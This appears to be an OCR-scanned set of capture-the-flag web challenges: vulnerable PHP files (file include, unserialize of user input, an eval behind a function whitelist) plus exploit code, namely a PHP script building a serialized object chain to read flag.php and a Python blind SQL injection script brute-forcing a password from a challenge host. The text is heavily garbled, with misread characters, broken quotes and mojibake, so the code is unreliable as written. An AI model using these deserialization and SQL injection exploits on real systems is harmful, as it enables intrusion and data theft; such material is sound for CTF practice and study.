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index.php

error_reporting(0);

$file = $_GET["file");

$payload = $_GET["payload"];
if(lisset($file)

echo 'Missing parameter".'

}

if(preg_match("/flag/",$file)){
die('hack attacked!!!");

}

@include($file);
print_r($payload);
if(isset($payload))

$url = parse_url($_SERVER['REQUEST_URI");
parse_str($Surl['query'],$query);
foreach($query as $value){

if (preg_match("/flag/",$value)) {
die('stop hacking!");

exit();

}

}
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$payload = unserialize($payload);
lelse{

echo "Missing parameters";

}
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hint.php

class Handle

{

private $handle;

public function _ wakeup()

{
foreach (get_object vars($this) as $k => $v) {

$this->%$k = null;

}

echo "Waking up\n";

}

public function __construct($handle)
{

$this->handle = $handle;

}

public function __destruct()
{

$this->handle->getFlag();

}

}

class Flag

{

public $file;

public $token;
public $token_flag;

public function __construct($file)



{

$this->file = $file;

$this->token_flag = $this->token = md5(rand(1, 10000));
}

public function getFlag()

{

$this->token_flag = md5(rand(1, 10000));
if ($this->token === $this->token_flag) {
if (isset($this->file)) {

echo @highlight_file($this->file, true);

}

}

}

}
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class Handle

{

private $handle;

public function __wakeup()

{

foreach (get_object vars($this) as $k => $v) {
$this->$k = null;

}

echo "Waking up\n";

}

public function __construct($handle)

{



$this->handle = $handle;

}

public function __destruct()

{

$this->handle->getFlag();

}

}

class Flag

{

public $file;

public $token;

public $token_flag;

public function __construct($file)

{

Sthis->file = $file;

$this->token_flag = $this->token = md5(rand(1, 10000));
}

public function getFlag()

{

$this->token_flag = md5(rand(1, 10000));
if ($this->token === $this->token_flag) {
if (isset($this->file)) {

echo @highlight_file($this->file, true);

}

}

}

}
$Flag = new Flag();

$Flag->file = "flag.php";
$Flag->token = &$Flag->token_flag;

$test = new Handle($Flag);



echo urlencode(serialize($test));
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#coding=UTF-8

import requests

result ="

url = 'http://72806208b313404eba7b7712cc1c3aa203c6e16dcc7ad4425.changame.ichungiu.com/
#payload = 'no=1 or if((ascii(substr(({sql}),{list},1))={num}),1,0)'

#payload = "a' and ascii(mid({sql}{list},1))={num} and pow(9,9999999999)#"

payload = "a' && (select * from ctf.user limit 1) > (‘admin’,{password}') && pow(9,9999999999)#"

#cookies = {{PHPSESSID":'15lkeifat78j9p81p7k0igq7n2'}



password ="

for i in xrange(1,50):

for j in xrange(32,126):

#hh = payload.format(sql='database()',list=str(i),num=str(j)) #ctf

hh = payload.format(password = str(password + chr(j))) #ctf

#hh = payload.format(sql="select count(*) from information_schema.tables' list=str(i),num=str(j))

#hh = payload.format(sql="select table _name from information_schema.tables where
table_schema="ctf" list=str(i),num=str(j))

#hh = payload.format(sql="select * from ctf.f14g' list=str(i),num=str(j))
print hh

data = {'username".hh,'password":'123'}
#print hh

try:

zz = requests.post(url,data=data)
#print zz.content

if "B FE#RAE R in zz.content:

pass

else:

password += chr(j-1)

print password

break

except:

continue

password
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error_reporting(0);
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if(lisset($_GET['c)K

show_source(__FILE_ );

else{
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$content =$_GET]'cY;

if (strlen($content) >= 80) {

die("KKTALHE");

}

$blacklist =['", \t', \r', \n',\", ™, "L, T

foreach ($blacklist as $blackitem) {

if (preg_match(/' . $blackitem . /m', $content)) {
die("E N EmA T T ERERNTR"),

}

}
11 FA 2 B Bhttp://mww.w3school.com.cn/php/php_ref math.asp

$whitelist = ['abs', 'acos', 'acosh', 'asin’, 'asinh', 'atan2', 'atan’, 'atanh', 'base_convert', 'bindec', ‘ceil', 'cos', 'cosh’,
'decbin’, 'dechex, 'decoct’, 'deg2rad’, 'exp', 'expom1’, 'floor', 'fmod', 'getrandmax’, 'hexdec', 'hypot', 'is_finite',
is_infinite', 'is_nan', 'Icg_value', 'log10', log1p', 'log’, 'max’, 'min’, 'mt_getrandmax’, 'mt_rand', 'mt_srand', 'octdec,

'pi', 'pow', 'rad2deg’, 'rand’, 'round', 'sin’, 'sinh’, 'sqrt', 'srand’, 'tan’, tanh';
preg_match_all(/[a-zA-Z_\x7f-\Xff][a-zA-Z_0-9\X7f-\xff]*/", $content, $used_funcs);
foreach ($used_funcs[0] as $func) {

if (lin_array($func, $whitelist)) {
die("E N EMAN T T IEER R L"),



}

}
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eval('echo ".$content.";");

}
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